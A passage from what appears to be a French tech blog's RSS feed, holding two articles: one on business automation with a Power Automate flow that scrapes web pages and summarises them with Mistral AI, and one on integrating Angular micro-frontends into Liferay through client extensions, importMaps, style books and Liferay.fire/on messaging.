Contexte et enjeux de l’automatisation</strong></h2>
<p>Imaginez une équipe qui doit chaque semaine copier-coller des données depuis différents rapports pour mettre à jour un tableau de suivi. Chaque erreur coûte du temps et parfois de l’argent, et la frustration monte… C’est là que l’automatisation prend tout son sens.</p>
<p>Autre exemple fréquent : l’arrivée d’un nouveau collaborateur. Aujourd’hui, c’est souvent un parcours semé de mails et de formulaires à remplir à la main. Avec l’automatisation, tout peut s’enchaîner automatiquement : création de compte, envoi d’un mail de bienvenue, mise à disposition des accès aux bons outils.</p>
<p>On pourrait multiplier les exemples : consolidation automatique de rapports, veille d’actualité pilotée par l’IA, extraction et diffusion de données clés… Loin d’être un gadget marketing, l’automatisation constitue désormais le socle d’une organisation efficace. En réduisant les erreurs, en optimisant l’utilisation des ressources et en libérant du temps, elle permet aux équipes de se concentrer sur ce qui fait vraiment avancer : la créativité, la stratégie et la prise de décision.</p>
<p>Dans cet article, nous allons poser les bases d’une réflexion autour de l’automatisation : ses enjeux stratégiques, ses bénéfices pour les organisations, mais aussi ses applications concrètes à travers des cas d’usage comme la veille automatisée avec Power Automate. L’objectif est simple : vous donner à voir, à la fois la vision et les usages, pour aborder l’automatisation avec méthode et pragmatisme.</p>
<hr />
<h2 id="heading-lautomatisation-comme-levier-strategique"><strong>L’automatisation comme levier stratégique</strong></h2>
<p>L’automatisation n’est pas seulement un moyen de « gagner du temps » sur quelques tâches répétitives : c’est un levier stratégique qui transforme la manière dont une organisation fonctionne.</p>
<p>D’abord, elle améliore la <strong>productivité</strong> : en réduisant la part de travail manuel et sujet à l’erreur, les équipes peuvent se concentrer sur les activités à forte valeur ajoutée comme la relation client, l’innovation, le pilotage de projets. Ensuite, elle favorise la <strong>fiabilité</strong> des processus : les erreurs humaines (copier-coller approximatifs, oublis, retards) sont minimisées, et les flux d’information deviennent plus cohérents et traçables.</p>
<p>Mais son impact ne s’arrête pas là. L’automatisation agit aussi comme un <strong>accélérateur de transformation organisationnelle</strong>. Elle permet par exemple à une PME de mettre en place des processus de qualité équivalents à ceux d’un grand groupe, ou à une équipe projet de collaborer plus efficacement en supprimant les frictions administratives.</p>
<p>On peut voir l’automatisation comme une <strong>progression par étapes</strong> :</p>
<ul>
<li><p>on commence par automatiser des <strong>tâches simples</strong> (réponses automatiques, mises à jour de fichiers),</p>
</li>
<li><p>puis on enchaîne avec des <strong>processus complets</strong> (validation de factures, onboarding d’un salarié),</p>
</li>
<li><p>et à mesure que la maturité grandit, on intègre de l’<strong>IA</strong> ou on orchestre des workflows qui traversent plusieurs départements.</p>
</li>
</ul>
<p>Cette montée en puissance est stratégique car elle offre aux organisations une <strong>scalabilité</strong> : l’automatisation vient en réponse à la complexité croissante de la gestion administrative dans les organisations, on s’appuie sur des systèmes capables d’absorber la croissance.</p>
<hr />
<h2 id="heading-avant-daller-plus-loin-un-mot-sur-le-scraping">Avant d’aller plus loin : un mot sur le scraping</h2>
<p>Avant de parler des outils et des scénarios concrets, un point important : <strong>le scraping</strong> — c’est-à-dire la récupération automatique de contenu sur des sites web — est une pratique puissante mais à manier avec précaution.</p>
<p>Pourquoi ? Parce que selon les sites, cette pratique peut entraîner des blocages techniques, être contraire aux conditions d’utilisation, poser des questions légales ou d’éthique. Je vous invite donc à toujours vérifier la légalité et la pertinence de ce type d’automatisation avant de vous lancer.</p>
<p>Vous êtes responsable de l’utilisation que vous faites des sites qui vous sont mis à disposition.</p>
<hr />
<h2 id="heading-exemple-concret-automatiser-la-veille-avec-power-automate">Exemple concret : automatiser la veille avec Power Automate</h2>
<p>Pour rendre l’automatisation tangible, prenons un cas concret : la veille informationnelle. Dans beaucoup d’entreprises, rester à jour sur l’actualité, surveiller la concurrence ou détecter des tendances demande un temps considérable. Automatiser ce processus permet de gagner du temps et d’obtenir une <strong>information plus pertinente, organisée et facilement exploitable</strong>.</p>
<p>Voici comment j’ai structuré le flow pour automatiser la veille :</p>
<ul>
<li><p><strong>Scraping automatisé</strong> : via des connecteurs ou scripts intégrés, récupération des articles récents sur des sources choisies.</p>
</li>
<li><p><strong>Analyse intelligente</strong> : utilisation d’un modèle IA pour évaluer la pertinence de chaque article selon des critères définis (actualité, originalité, clarté).</p>
</li>
<li><p><strong>Synthèse concise</strong> : l’IA produit un résumé de chaque article en quelques points clés, ce qui facilite la lecture rapide.</p>
</li>
<li><p><strong>Stockage organisé</strong> : les données sont stockées dans un fichier Excel, structuré et facilement exploitable.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756129083442/aef1e524-33bb-452c-a28b-945b514c66a0.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Tout d’abord on définit une récurrence. Cette étape sert à définir la fréquence à laquelle votre workflow doit s'exécuter automatiquement. C'est comme un réveil qui sonne à intervalles réguliers pour lancer le processus.</p>
</li>
<li><p>Puis on initialise différentes variables, ici en l’occurrence 4 : 3 de type chaîne et 1 de type tableau qui servira pour lister vos url à scrapper.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756129508176/7b29c5ee-fff4-4fb3-8594-aa339ebfa32d.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>On définit une boucle pour itérer sur une collection d'éléments. Si vous avez une liste de données (par exemple, des éléments d'un tableau), cette étape vous permet d'effectuer des actions pour chaque élément de cette liste. Ici on va itérer sur la liste d’url définie précédemment,</p>
</li>
<li><p>Puis on met à jour la variable url avec une des valeurs de la liste sur laquelle on itère,</p>
</li>
<li><p>On fait ensuite un appel HTTP à l'URL spécifiée précédemment. Cela peut être utilisé pour interagir avec différentes web services,</p>
</li>
<li><p>On enregistre le contenu de la réponse HTTP dans la variable http body définie plus tôt,</p>
</li>
<li><p>On fait ensuite un appel HTTP à Mistral AI (c’est un exemple cela aurait pu être n’importe quelle IA) en lui passant le contenu de la variable précédente en complément d’un prompt préalablement travaillé,</p>
</li>
<li><p>On enregistre le contenu de la réponse HTTP dans la variable http réponse mistral définie plus tôt,</p>
</li>
<li><p>Le résultat enregistré dans la variable précédente est ajouté à un tableau Excel. Cela sert à consigner les sorties et d'autres informations utiles de manière structurée.</p>
</li>
</ol>
<p>Ce workflow illustre concrètement ce que nous venons de présenter : l’automatisation n’est pas une abstraction stratégique, mais une réalité pratique, accessible dès aujourd’hui. On met en place un scénario concret, dans lequel l’<strong>IA</strong> ne se contente pas d’exécuter une tâche, mais apporte une <strong>valeur ajoutée réelle</strong> par son analyse.</p>
<p>La construction de ce workflow m’a pris une bonne journée, tout en découvrant Power Automate. Avec un peu de recul, je pense qu’aujourd’hui cela pourrait être réalisé en deux heures.</p>
<p>La partie concernant le prompt, que je ne compte pas dans le temps de construction, m’a également pris pas mal de temps avant que je réussisse à obtenir exactement ce que je voulais, je suis revenu dessus régulièrement.</p>
<hr />
<h2 id="heading-conclusion-lautomatisation-bien-plus-quune-mode">Conclusion – L’automatisation : bien plus qu’une mode</h2>
<p>L’automatisation n’est pas un simple gadget ou une tendance passagère : c’est un <strong>levier concret pour améliorer l’efficacité et la qualité du travail</strong>, et un vecteur de transformation organisationnelle.</p>
<p>À travers la typologie des automatisations et l’exemple concret de veille automatisée avec Power Automate, on voit comment des tâches répétitives, fastidieuses et sujettes aux erreurs peuvent devenir <strong>des workflows fiables, fluides et stratégiquement utiles</strong>. L’organisation gagne en temps, en cohérence, et les équipes peuvent se concentrer sur ce qui crée vraiment de la valeur : analyse, créativité et décision.</p>
<p>Ce premier article pose donc les bases : il vous invite à <strong>observer vos processus</strong>, identifier les tâches à automatiser, et tester des scénarios simples pour gagner en maturité. Le <a target="_blank" href="https://hashnode.com/draft/68c81e2606dcc4a1cdcb9151">prochain volet</a> vous emmènera plus loin, en explorant comment <strong>l’intelligence artificielle combinée à Power Automate</strong> peut générer des insights pertinents et soutenir la prise de décision stratégique.</p>
<p>Et vous ? Quelles tâches dans votre quotidien pourraient bénéficier de cette automatisation ? Et comment pourriez-vous, dès aujourd’hui, commencer à transformer vos micro-processus en leviers stratégiques ?</p>
]]></content:encoded></item><item><title><![CDATA[Micro-frontends : Comment les intégrer ?]]></title><description><![CDATA[Ceci est la seconde partie sur les micro-frontends (il y a tant à dire sur le sujet).Cette fois-ci, je vais vous parler de l’intégration de ces micro-frontends (ou MFE).Sur un micro-service, il est simple d’exposer plusieurs versions. Les clients peu...]]></description><link>https://niji.tech/micro-frontends-comment-les-integrer</link><guid isPermaLink="true">https://niji.tech/micro-frontends-comment-les-integrer</guid><category><![CDATA[Micro frontend]]></category><category><![CDATA[Microservices]]></category><category><![CDATA[liferay]]></category><category><![CDATA[Angular]]></category><dc:creator><![CDATA[Eric DARIEL]]></dc:creator><pubDate>Wed, 09 Jul 2025 15:04:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751200084540/eb23c75b-7657-4b3b-ae71-0e71a1663cdf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ceci est la <strong>seconde partie</strong> sur les micro-frontends (il y a tant à dire sur le sujet).<br />Cette fois-ci, je vais vous parler de <strong>l’intégration</strong> de ces <strong>micro-frontends</strong> (ou MFE).<br />Sur un micro-service, il est simple d’exposer plusieurs versions. Les clients peuvent facilement appeler la V1 ou la V2 d’un même micro-service, finalement c’est le front qui va décider sa version souhaitée du back.<br />Pour les MFE par contre, on ne va pas demander à l’internaute de changer de version manuellement dans son url en demandant la V2, il serait intéressant d’avoir un moyen de pouvoir configurer, déplacer, supprimer, tester un MFE en <strong>temps réel</strong> sans besoin de redéployer.</p>
<p>C’est là que <strong>Liferay</strong> entre en scène, comme je l’avais déjà évoqué dans la conclusion de mon dernier article.</p>
<h2 id="heading-1-liferay-et-les-micro-frontends">1 - Liferay et les micro-frontends</h2>
<p>Liferay est un outils en <strong>constante évolution</strong> depuis le début des années 2000.<br />Il existe en version CE (gratuite) et DXP (payante avec un support) et toutes les sources sont <strong>disponibles sur GitHub</strong>, il est donc très simple de voir ce qui a été fait, comment ça a été fait et le faire <strong>évoluer,</strong> car Liferay repose sur OSGi (principe micro-services) et est désormais en Java 21.<br />Voici un <strong>schéma d’architecture</strong> résumant bien le fonctionnement de Liferay :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750522376519/e3f168f5-ff88-4e05-a505-95db681e3ec4.png" alt class="image--center mx-auto" /></p>
<p>Liferay au fil des années est passé d’un monolithe à désormais <strong>1390 modules</strong> en version CE. Modules qu’il sera facile de désactiver, supprimer, blacklister, surcharger… et bien sûr en créer de nouveaux.<br />Historiquement, Liferay gérait des widgets (ou portlets) et a toujours offert la possibilité de les déplacer, supprimer, configurer en temps réel ou bien en avance de phase.<br />Tout ce savoir faire a évolué en version 7.x, avec l’arrivée des <strong>fragments</strong> :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750522952503/cd6887a9-845a-4d05-ba55-ddf3e6d2e958.png" alt class="image--center mx-auto" /></p>
<p>Un <strong>fragment</strong> c’est un composant réutilisable et modifiable <strong>à</strong> <strong>chaud</strong> qui contient une partie HTML, une partie CSS, une partie JS et enfin une partie configuration, le tout est exécuté en temps réel, un peu comme un CodePen ou un Jsfiddle.</p>
<p>En version 7.3, ces fragments ont encore été améliorés. On peut désormais :</p>
<ul>
<li><p>les dupliquer,</p>
</li>
<li><p>les déplacer,</p>
</li>
<li><p>les exporter,</p>
</li>
<li><p>les importer,</p>
</li>
<li><p>les composer,</p>
</li>
<li><p>les configurer,</p>
</li>
<li><p>faire des brouillons,</p>
</li>
<li><p>les créer en live<br />  …</p>
</li>
</ul>
<p>Et en version 7.4, a été ajouté le principe de <strong>Client Extension</strong> (ou CX). Ces <strong>C</strong>lients e<strong>X</strong>tensions permettent de définir des extensions clientes externes que l’on va pouvoir déployer sur son instance Liferay.<br />Désormais, Liferay propose une version “online” dite <strong>SaaS</strong>, même si il est toujours possible de faire du <strong>PaaS</strong>, ou bien d’héberger son Liferay soi-même (sur son PC, son serveur ou son Kubernetes en mode “<strong>Self-Hosted</strong>”).<br />L’avantage des CX est qu’ils ne sont pas intrusifs, il est possible de les déclarer via les IHMs (ou le code) avec l’idée de <strong>déporter le code</strong> en dehors de Liferay.<br />Liferay est donc plus facile à upgrader/migrer car le code ajouté sera constitué de ressources <strong>externes hébergées ailleurs</strong> avec leur <strong>propre cycle de vie</strong>.<br />De plus, Liferay a décider de ne plus changer de version majeure, la 7.4 devrait être la dernière et désormais les mises à jour se font simplement module par module.</p>
<h2 id="heading-2-integrer-des-objects">2 - Intégrer des “Objects”</h2>
<p>Comme je l’ai évoqué dans mon précédent article, Liferay propose du <strong>LowCode/NoCode</strong> avec les Liferay “<strong>Objects</strong>” qui sont exposés en <strong>REST et GraphQL</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750523916466/9e1301c6-469b-40d3-9aac-f3481cca0382.png" alt class="image--center mx-auto" /></p>
<p>Dans cet écran, on voit que j’ai déclaré un “Object” Contrat qui va contenir un libellé, une date de début, une date de fin…<br />Et les entrées de cet “Object” pourront être visualisés, créés, modifiés, supprimés en temps réel au moyen de <strong>widgets fournis par Liferay</strong> mais seront aussi disponibles sous forme de <strong>collections</strong> et accessibles en “<strong>headless</strong>” comme le montre l'écran suivant accessible via l’url de <strong>l’API Explorer</strong> :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750524143631/5bec38b9-ab3e-4947-8c33-bffbc99ccf84.png" alt class="image--center mx-auto" /></p>
<p>Finalement pour le backend, plus besoin de s'embêter, Liferay stocke les données en base de données et les indexe dans <strong>l’ElasticSearch</strong> donc aucun soucis de <strong>performance</strong> ou de <strong>limite</strong>, toutes les données sont <strong>triables</strong>, <strong>paginables</strong> et <strong>recherchables</strong> <strong>nativement</strong>.</p>
<h2 id="heading-3-integrer-des-custom-elements">3 - Intégrer des “Custom Elements”</h2>
<p>Concernant la partie frontend et nos “MFE”, Liferay a prévu un CX de type “CustomElement” qui nous permet de déclarer notre “CustomElement” (ou RemoteApp) et de le transformer en widget que l’on va pouvoir déposer à <strong>l'endroit souhaité</strong> sur nos pages.<br />On pourra aussi le configurer pour faire en sorte qu’un même MFE puisse se comporter différemment en fonction de sa configuration.<br />Il est aussi possible d’avoir une ou plusieurs instances d'un même MFE par page mais cela implique de faire très attention à la façon de coder pour ne pas avoir d’interférences.</p>
<p>Pour déclarer un MFE, il <s>f</s>aut simplement ajouter un CX de type “Custom Element” et le configurer de cette façon :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750528061967/03bf5a7b-9e2d-4772-8677-a9d72e03a54f.png" alt class="image--center mx-auto" /></p>
<p>Ici, on retrouve ce qui avait été déclaré dans le fichier “index.html” de notre projet Angular (voir mon premier article).<br />On indique les ressources JS (ici il y en a 2) et les ressources CSS (ici une seule), puis on va aussi indiquer si on activera le mode modulaire (ES Build : ce qui va nous permettre d’utiliser les importMaps) et si on veut que notre MFE soit instanciable ou non. Pour rappel, si un élément est instanciable, on pourra le déposer plusieurs fois sur une même page, sinon on ne poura le déposer qu'une seule fois par page.<br />Dans les 2 cas, on pourra, au moyen de la configuration, faire en sorte que leur comportement ou leur affichage soit différent.</p>
<h2 id="heading-4-integrer-des-importmaps">4 - Intégrer des “ImportMaps”</h2>
<p>Ensuite, il nous reste à déclarer nos <strong>importMaps</strong>, car ce sont aussi des CX, qui pourront être ajoutés sur une page, plusieurs pages (au niveau de la Master Page) ou toutes mes pages (au niveau du Thème).<br />Sachant que Liferay intègre déjà nativement tous les importMaps pour React 18 (mais pas pour Angular). Il est donc beaucoup plus simple de faire du React en Liferay.<br />Pour déclarer un ImportMap, on procédera de la même façon que précédemment :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750528574283/a3b68867-eb1d-4b7b-999b-05235e083aee.png" alt class="image--center mx-auto" /></p>
<p>Ici, j’ai déclaré un importMap que j’ai appelé avec le même “spécificateur” que celui utilisé dans ma RemoteApp Angular 19, et l’url utilisée sera la même que celle déclarée dans le “head” du fichier “index.html”.<br />Je peux aussi décider de télécharger ce fichier et l’héberger sur mon Liferay (Liferay intègre une GED qui historise nativement les fichiers) ou sur mon Nginx.</p>
<h2 id="heading-5-integrer-dautres-ressources">5 - Intégrer d'autres ressources</h2>
<p>Il sera aussi possible d'intégrer d'autres ressources sous la forme de CX (Client eXtension). Comme par exemple des fichiers statiques JS ou CSS mais aussi des surcharges de fichiers du thème par défaut de Liferay (en mode SaaS, on ne peut pas ajouter de thème mais on pourra surcharger le thème par défaut pour modifier uniquement notre instance).</p>
<p>Il sera aussi possible d'ajouter des CX de type micro-service ou batch, voir la page Liferay pour en connaître la liste exhaustive : <a target="_blank" href="https://learn.liferay.com/w/dxp/liferay-development/client-extensions">https://learn.liferay.com/w/dxp/liferay-development/client-extensions</a></p>
<h2 id="heading-6-integrer-des-styles">6 - Intégrer des styles</h2>
<p>Il est aussi possible de créer des styles, Liferay permet de créer des <strong>feuilles de styles</strong> qui pourront être appliquées par page ou par site.</p>
<p>De cette façon, je vais pouvoir créer un <strong>design system</strong> commun pour plusieurs pages, un site entier ou plusieurs sites.</p>
<p>Il sera possible de “brander” un site aux couleurs de Canon, Apple, Philips ou autre…</p>
<p>Un même site pourra hériter de styles CSS entre toutes ses pages et je ne parle pas que de couleurs, mais aussi de bordures, d’arrondis, de fontes, d'espacements, de titres…</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750596179506/76108cb7-1f15-471d-866e-eb6f3473513a.png" alt class="image--center mx-auto" /></p>
<p>Ci-dessus, la version “Canon” de mon site et ci-dessous, la version “Philips” :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750596245149/e04aea1d-138b-4778-97a5-1ecb13af5d29.png" alt class="image--center mx-auto" /></p>
<p>Et voici la configuration l’éditeur des feuilles de styles si je voulais créer un site “Apple” :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750596916221/3d9c6d5d-4c2c-4220-bdda-f53c2d7f17c8.png" alt class="image--center mx-auto" /></p>
<p>Sur la partie gauche je peux visualiser la page de mon choix et sur la partie droite je peux <strong>modifier en temps réel</strong> les couleurs, bordures, espacements, titres… jusqu’à obtenir l’effet souhaité.</p>
<h2 id="heading-7-integrer-des-sites">7 - Intégrer des sites</h2>
<p>Liferay propose aussi de créer des templates de pages ou de sites.</p>
<p>Il est possible de créer une ou plusieurs <strong>usines à sites</strong> qui auront des pages communes avec des styles différents, une favicon différente, un logo différent et bien sûr des données différentes.</p>
<p>Chaque site peut avoir des paramétrages différents et chaque MFE pourra s'afficher différemment puisqu'il va hériter du CSS du site en cours mais aussi de son paramétrage.<br />On peut par exemple dans notre MFE récupérer les données avec un identifiant technique configuré sur chacun des sites.</p>
<h2 id="heading-8-integrer-des-mfes-entre-eux">8 - Intégrer des MFEs entre eux</h2>
<p>Étant donné que les MFEs peuvent être sur une même page, ils profitent des mêmes styles CSS mais aussi des mêmes objets javascripts.</p>
<p>Liferay expose différentes méthodes javascripts comme Liferay.fire(), Liferay.on(), Liferay.Util, Liferay.ThemeDisplay, Liferay.Session, Liferay.Service…</p>
<p>Un MFE présent sur une page Liferay peut donc accéder à toutes ces méthodes et objets JS et <strong>interagir avec les autres composants</strong> sur cette même page. Il peut donc récupérer le contexte de la page en cours (quel utilisateur est connecté, est-il en mode substitution, dans quelle langue, sur quelle page…) mais aussi déclencher un rafraîchissement d'un autre composant, lui envoyer des données, l'écouter, naviguer vers une autre page… et cet autre composant pourra être un MFE, un widget Liferay ou un fragment Liferay.</p>
<p>Il est donc très facile <strong>d'interagir</strong> avec le panier ou l'avatar pour lui envoyer une information ou lui demander de se rafraîchir et ainsi qu'il mette à jour son compteur de notification ou d'articles dans le panier.</p>
<p>Enfin si on veut faire persister des donnés, on peut appeler un webservice Liferay, sans besoin de fournir nos informations de connexion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750598083247/9defa64c-8e69-40c8-b9a5-a7aa7b9876ec.gif" alt class="image--center mx-auto" /></p>
<p>Dans <strong>l'animation ci-dessus</strong>, pour la communication entre mes 2 MFEs n’ayant pas conscience l’un de l’autre, j’ai utilisé le “Liferay.fire()” présent nativement dans toutes les pages Liferay pour envoyer un objet JS :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750598604578/7056fc67-dd04-4d28-8318-8c6e643bdc68.png" alt class="image--center mx-auto" /></p>
<p>Et du côté de la “RemoteApp” Angular 19, j’ai utilisé le “Liferay.on()” :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750598756934/a345193b-98c1-41af-a829-8cf56f24c64e.png" alt class="image--center mx-auto" /></p>
<p>Ensuite, il est possible d’interagir avec tous les éléments présent à l’écran et c’est ce que j’ai fait dans <strong>l'animation ci-dessous</strong> entre un <strong>MFE Angular</strong> et le <strong>fragment avatar natif</strong> de Liferay :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750599846081/7e8eafa0-6db5-4ee7-a588-100565411467.gif" alt class="image--center mx-auto" /></p>
<p>Dans cette animation, on voit que lorsque j’effectue une modification sur le profil de l’utilisateur, le webservice que j’ai créé et appelé par mon MFE va ajouter une <strong>notification</strong> à destination de ce même utilisateur. Le MFE va donc demander un rafraichissement de l’avatar qui va actualiser sa pastille de notification. En cliquant dessus, je vais pouvoir accéder à toutes mes notifications pour modifier leur statut.</p>
<h2 id="heading-9-integrer-le-cycle-de-vie-des-utilisateurs">9 - Intégrer le cycle de vie des utilisateurs</h2>
<p>Liferay s'occupe <strong>nativement</strong> de la gestion des utilisateurs, de la politique des mots de passe, de leurs rôles, permissions et de leur session.</p>
<p>Liferay peut aussi déléguer à un <strong>IdP</strong> (Identity Provider) en OIDC, SAML, CAS… et peut gérer la réplication de sessions.<br />En cas de coupure de réseau, ou de problème sur un serveur, Liferay peut fonctionner en <strong>mode cluster</strong> et répliquer les sessions des utilisateurs afin qu'il n'y ait aucune perte de session.<br />Et même si ce cas est rare, il peut s'avérer utile lors des déploiements de nouvelles versions… on pourra donc assurer un service <strong>24h/24 et 7j/7</strong> <strong>sans interruption de service</strong>.</p>
<h2 id="heading-10-integrer-les-publications">10 - Intégrer les publications</h2>
<p>Liferay propose aussi nativement le principe de <strong>Publications</strong>, on va donc pouvoir <strong>expérimenter en avance de phase</strong> une nouvelle version de nos pages ou configurations sans affecter la production et programmer notre publication à une date définie à l'avance et même pouvoir faire un retour en arrière en cas de problème.</p>
<p>Il est aussi possible de définir des MFEs présents sur un autre domaine et donc de pouvoir tester nos MFEs localhost sans besoin de les déployer réellement.<br />Un cas d'usage extrêmement pratique est de déclarer nos MFEs locaux sur un environnement de test. Ainsi nos développeurs frontends n'aurons pas besoin d'installer un Liferay sur leur poste, ils pourront exécuter leur application javascript localement et <strong>l'intégrer facilement</strong> sur le site d'intégration ou de recette.<br />Un développeur frontend pourra tester son code dans un environnement donné sans impacter cet environnement puisqu'il sera sur un site dédié ou une page cachée d'un site donné.</p>
<h2 id="heading-11-integrer-le-rafraichissement-des-mfes">11 - Intégrer le rafraîchissement des MFEs</h2>
<p>Liferay permet de gérer le <strong>rafraîchissement</strong> des MFEs.<br />Nativement, lorsque qu'un MFE est inséré dans une page, un <strong>timestamp</strong> est ajouté automatiquement en paramètre et le navigateur va recharger les ressources du MFE affiché.</p>
<p>A chaque déploiement ou modification du “Custom Element”, le timestamp changera et provoquera son <strong>rechargement automatique</strong> sur toutes les pages le contenant.</p>
<p>Si le MFE est hébergé sur le Liferay, à chaque déploiement il sera modifié et donc sera rechargé. Mais si il est hébergé ailleurs (cas d'une remoteApp), il y a deux solutions simples :</p>
<ul>
<li><p>soit modifier manuellement le CX déclaré dans Liferay et donc provoquer son rechargement.</p>
</li>
<li><p>soit prévoir un <strong>mécanisme de mise à jour automatique</strong> toutes les X minutes en utilisant par exemple le mécanisme natif de “<strong>scheduler</strong>” de Liferay qui ira interroger la version déployée de la “RemoteApp”.</p>
</li>
</ul>
<h2 id="heading-12-conclusion">12 - Conclusion</h2>
<p>Avec ce second article j'ai parcouru beaucoup de fonctionnalités de Liferay. Toutes sont disponibles dans la version CE mais la version DXP apporte un support et 4 versions annuelles dont une maintenue 5 années. La version CE elle ne propose qu'une seule version par an même si il est possible à tout moment de surcharger une partie ou de générer une version en partant du code source disponible sur GitHub.</p>
<p>Cet outil est très <strong>facile à prendre en main,</strong> même si il propose énormément d'options.</p>
<p>Les images dockers sont disponibles <a target="_blank" href="https://hub.docker.com/r/liferay/portal">ici pour la version CE</a> et <a target="_blank" href="https://hub.docker.com/r/liferay/dxp">ici pour la version DXP</a>.<br />Par défaut, les images docker fonctionnent dans un mode “démo”, c'est à dire avec une base de données fichiers et un ElasticSearch “SideCar”. Il est important de modifier la configuration par défaut dans un projet réel.<br />La version DXP est inclue avec une licence de 30 jours permettant de tester facilement cette version.</p>
<p>Si vous voulez mettre en place une <strong>micro-architecture</strong> comme évoquée dans cet article, n'hésitez pas à me solliciter ou à solliciter <a target="_blank" href="http://www.niji.fr">Niji</a> pour une <strong>démonstration</strong>, des <strong>conseils</strong>, une prestation d'<strong>installation</strong>, une <strong>formation</strong> ou encore un <strong>projet clé en main</strong> !</p>
<p>En fonction de la volumétrie et surtout du nombre de <strong>connexions simultanées</strong>, il sera possible de faire une installation très simple avec un PostgreSQL et un Tomcat (serveur exposant le Liferay) sur une simple VM ou partir sur une <strong>architecture Kubernetes</strong> avec plusieurs réplicats (en mode cluster) et un ElasticSearch.</p>
<p>Si vous m'avez lu jusqu'ici, merci de m'ajouter un like 👍 ou de me laisser un commentaire ✍️ !</p>
]]></content:encoded></item></channel></rss>